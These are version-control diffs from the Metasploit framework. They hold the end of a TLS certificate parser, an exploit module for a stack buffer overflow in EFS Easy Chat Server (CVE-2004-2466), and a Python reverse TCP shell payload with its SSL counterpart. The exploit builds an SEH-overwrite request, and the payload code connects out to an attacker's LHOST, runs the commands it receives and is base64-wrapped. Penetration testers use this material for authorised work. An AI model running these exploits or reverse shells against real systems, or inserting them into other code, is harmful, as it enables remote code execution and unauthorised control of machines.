vprint_debug("\t\tServer Hello Session ID length: #{session_id_length}")
session_id = data[35,session_id_length].unpack('H*')[0]
vprint_debug("\t\tServer Hello Session ID: #{session_id}")
# TODO Read the rest of the server hello (respect message length)
# TODO: return hash with data
true
end
# Parse certificate data
def parse_certificate_data(data)
# get certificate data length
unpacked = data.unpack('Cn')
cert_len_padding = unpacked[0]
cert_len = unpacked[1]
vprint_debug("\t\tCertificates length: #{cert_len}")
# contains multiple certs
already_read = 3
cert_counter = 0
while already_read < cert_len
start = already_read
cert_counter += 1
# get single certificate length
single_cert_unpacked = data[start, 3].unpack('Cn')
single_cert_len_padding = single_cert_unpacked[0]
single_cert_len = single_cert_unpacked[1]
vprint_debug("\t\tCertificate ##{cert_counter}:")
vprint_debug("\t\t\tCertificate ##{cert_counter}: Length: #{single_cert_len}")
certificate_data = data[(start + 3), single_cert_len]
cert = OpenSSL::X509::Certificate.new(certificate_data)
# First received certificate is the one from the server
@cert = cert if @cert.nil?
#vprint_debug("Got certificate: #{cert.to_text}")
vprint_debug("\t\t\tCertificate ##{cert_counter}: #{cert.inspect}")
already_read = already_read + single_cert_len + 3
end
# TODO: return hash with data
true
end
end

View File

@ -17,78 +17,151 @@ class Metasploit3 < Msf::Exploit::Remote
super(update_info(info,
'Name' => 'EFS Easy Chat Server Authentication Request Handling Buffer Overflow',
'Description' => %q{
This module exploits a stack buffer overflow in EFS Software Easy Chat Server. By
sending a overly long authentication request, an attacker may be able to execute
arbitrary code.
NOTE: The offset to SEH is influenced by the installation path of the program.
The path, which defaults to "C:\Program Files\Easy Chat Server", is concatentated
with "\users\" and the string passed as the username HTTP paramter.
This module exploits a stack buffer overflow in EFS Software Easy Chat
Server versions 2.0 to 3.1. By sending an overly long authentication
request, an attacker may be able to execute arbitrary code.
},
'Author' => [ 'LSO <lso[at]hushmail.com>' ],
'Author' =>
[
'LSO <lso[at]hushmail.com>', # original metasploit
'Brendan Coles <bcoles[at]gmail.com>' # metasploit
],
'License' => BSD_LICENSE,
'References' =>
[
[ 'CVE', '2004-2466' ],
[ 'CVE', '2004-2466' ],
[ 'OSVDB', '7416' ],
[ 'BID', '25328' ],
[ 'OSVDB', '106841' ],
[ 'BID', '25328' ]
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Privileged' => true,
'Privileged' => false,
'Payload' =>
{
'Space' => 500,
'BadChars' => "\x00\x0a\x0b\x0d\x20\x23\x25\x26\x2b\x2f\x3a\x3f\x5c",
'Space' => 7000,
'BadChars' => "\x00\x0a\x0b\x0d\x0f\x20\x25\x26",
'StackAdjustment' => -3500,
},
'Platform' => 'win',
'Targets' =>
[
[ 'Easy Chat Server 2.5', { 'Ret' => 0x1001b2b6 } ], # patrickw OK 20090302 w2k
# Tested on Easy Chat Server v2.0, 2.1, 2.2, 2.5, 3.1 on:
# -- Windows XP SP 3 (x86) (EN)
# -- Windows 7 SP 1 (x64) (EN)
# -- Windows 8 SP 0 (x64) (EN)
[ 'Automatic Targeting', { 'auto' => true } ],
# p/p/r SSLEAY32.dll
[ 'Easy Chat Server 2.0', { 'Ret' => 0x10010E2E } ],
# p/p/r SSLEAY32.dll
[ 'Easy Chat Server 2.1 - 3.1', { 'Ret' => 0x1001071E } ]
],
'DisclosureDate' => 'Aug 14 2007',
'DefaultTarget' => 0))
register_options(
[
OptString.new('PATH', [ true, "Installation path of Easy Chat Server",
"C:\\Program Files\\Easy Chat Server" ])
], self.class )
end
def check
info = http_fingerprint # check method
# NOTE: Version 2.5 still reports "1.0" in the "Server" header
if (info =~ /Easy Chat Server\/1\.0/)
return Exploit::CheckCode::Appears
version = get_version
if not version
return Exploit::CheckCode::Safe
end
vprint_status "#{peer} - Found version: #{version}"
if version !~ /^(2\.\d|3\.0|3\.1)$/
return Exploit::CheckCode::Safe
end
path = get_install_path
if not path
return Exploit::CheckCode::Detected
end
vprint_status "#{peer} - Found path: #{path}"
return Exploit::CheckCode::Appears
end
#
# Get software version from change log
#
def get_version
res = send_request_raw 'uri' => '/whatsnew.txt'
if res and res.body =~ /What's new in Easy Chat Server V(\d\.\d)/
return "#{$1}"
end
end
#
# Get software installation path from uninstall file
#
def get_install_path
res = send_request_raw 'uri' => '/unins000.dat'
if res and res.body =~ /([A-Z]:\\[^\x00]{2,256})?\\[a-z]+\.htm/i
return "#{$1}"
end
Exploit::CheckCode::Safe
end
def exploit
# randomize some values.
val = rand_text_alpha(rand(10) + 1)
num = rand_text_numeric(1)
path = datastore['PATH'] + "\\users\\"
print_status("path: " + path)
# get target
if target.name =~ /Automatic/
version = get_version
vprint_status "#{peer} - Found version: #{version}" if version
if not version or version !~ /^(2\.\d|3\.0|3\.1)$/
fail_with(Failure::NoTarget, "#{peer} - Unable to automatically detect a target")
elsif version =~ /(2\.0)/
my_target = targets[1]
elsif version =~ /(2\.\d|3\.0|3\.1)/
my_target = targets[2]
end
else
my_target = target
end
# exploit buffer.
filler = rand_text_alpha(256 - path.length)
seh = generate_seh_payload(target.ret)
juju = filler + seh
# get install path
path = get_install_path
if not path
fail_with(Failure::UnexpectedReply, "#{peer} - Could not retrieve install path")
end
path << "\\users\\"
vprint_status "#{peer} - Using path: #{path}"
uri = "/chat.ghp?username=#{juju}&password=#{val}&room=2&#sex=#{num}"
# send payload
sploit = rand_text_alpha(256 - path.length)
sploit << generate_seh_payload(my_target.ret)
print_status "#{peer} - Sending request (#{sploit.length} bytes) to target (#{my_target.name})"
send_request_cgi({
'uri' => '/chat.ghp',
'encode_params' => false,
'vars_get' => {
'username' => sploit,
'password' => rand_text_alphanumeric(rand(10) + 1),
'room' => 1,
'sex' => rand_text_numeric(1)
}
}, 5)
print_status("Trying target #{target.name}...")
send_request_raw({'uri' => uri}, 5)
handler
disconnect
end
end
=begin
0x004144C8 calls sprintf with the following arguments:
sprintf(&FileName, "%susers\\%s", path, username);
Since we can make the username larger than the allocated buffer size
we end up overwriting SEH with a PPR from SSLEAY32.dll and nSEH with
a short jmp to the beginning of our shellcode.
(46c.144): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=ffffffff ebx=000007f6 ecx=0047fd50 edx=41414141 esi=000007ef edi=0047a3ea
eip=00445f34 esp=01216b88 ebp=01216ba0 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202
EasyChat+0x45f34:
00445f34 8a02 mov al,byte ptr [edx] ds:0023:41414141=??
0:005> !exchain
01216dd8: 41414141
Invalid exception stack at 41414141
=end

View File

@ -0,0 +1,68 @@
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'msf/core/handler/reverse_tcp'
require 'msf/base/sessions/command_shell'
require 'msf/base/sessions/command_shell_options'
module Metasploit3
include Msf::Payload::Single
include Msf::Sessions::CommandShellOptions
def initialize(info = {})
super(merge_info(info,
'Name' => 'Command Shell, Reverse TCP (via python)',
'Description' => 'Creates an interactive shell via python, encodes with base64 by design. Compat with 2.3.3',
'Author' => 'Ben Campbell', # Based on RageLtMan's reverse_ssl
'License' => MSF_LICENSE,
'Platform' => 'python',
'Arch' => ARCH_PYTHON,
'Handler' => Msf::Handler::ReverseTcp,
'Session' => Msf::Sessions::CommandShell,
'PayloadType' => 'python',
'Payload' =>
{
'Offsets' => { },
'Payload' => ''
}
))
end
#
# Constructs the payload
#
def generate
super + command_string
end
#
# Returns the command string to use for execution
#
def command_string
cmd = ''
dead = Rex::Text.rand_text_alpha(2)
# Set up the socket
cmd << "import socket,os\n"
cmd << "so=socket.socket(socket.AF_INET,socket.SOCK_STREAM)\n"
cmd << "so.connect(('#{datastore['LHOST']}',#{ datastore['LPORT']}))\n"
# The actual IO
cmd << "#{dead}=False\n"
cmd << "while not #{dead}:\n"
cmd << "\tdata=so.recv(1024)\n"
cmd << "\tif len(data)==0:\n\t\t#{dead}=True\n"
cmd << "\tstdin,stdout,stderr,=os.popen3(data)\n"
cmd << "\tstdout_value=stdout.read()+stderr.read()\n"
cmd << "\tso.send(stdout_value)\n"
# Base64 encoding is required in order to handle Python's formatting requirements in the while loop
cmd = "exec('#{Rex::Text.encode_base64(cmd)}'.decode('base64'))"
cmd
end
end

View File

@ -15,12 +15,12 @@ module Metasploit3
def initialize(info = {})
super(merge_info(info,
'Name' => 'Unix Command Shell, Reverse TCP SSL (via python)',
'Name' => 'Command Shell, Reverse TCP SSL (via python)',
'Description' => 'Creates an interactive shell via python, uses SSL, encodes with base64 by design.',
'Author' => 'RageLtMan',
'License' => BSD_LICENSE,
'Platform' => 'python',
'Arch' => ARCH_CMD,
'Arch' => ARCH_PYTHON,
'Handler' => Msf::Handler::ReverseTcpSsl,
'Session' => Msf::Sessions::CommandShell,
'PayloadType' => 'python',
@ -36,8 +36,7 @@ module Metasploit3
# Constructs the payload
#
def generate
vprint_good(command_string)
return super + command_string
super + command_string
end
#
@ -60,11 +59,10 @@ module Metasploit3
cmd += "\tstdout_value=proc.stdout.read() + proc.stderr.read()\n"
cmd += "\ts.send(stdout_value)\n"
# The *nix shell wrapper to keep things clean
# Base64 encoding is required in order to handle Python's formatting requirements in the while loop
cmd = "exec('#{Rex::Text.encode_base64(cmd)}'.decode('base64'))"
return cmd
cmd
end
end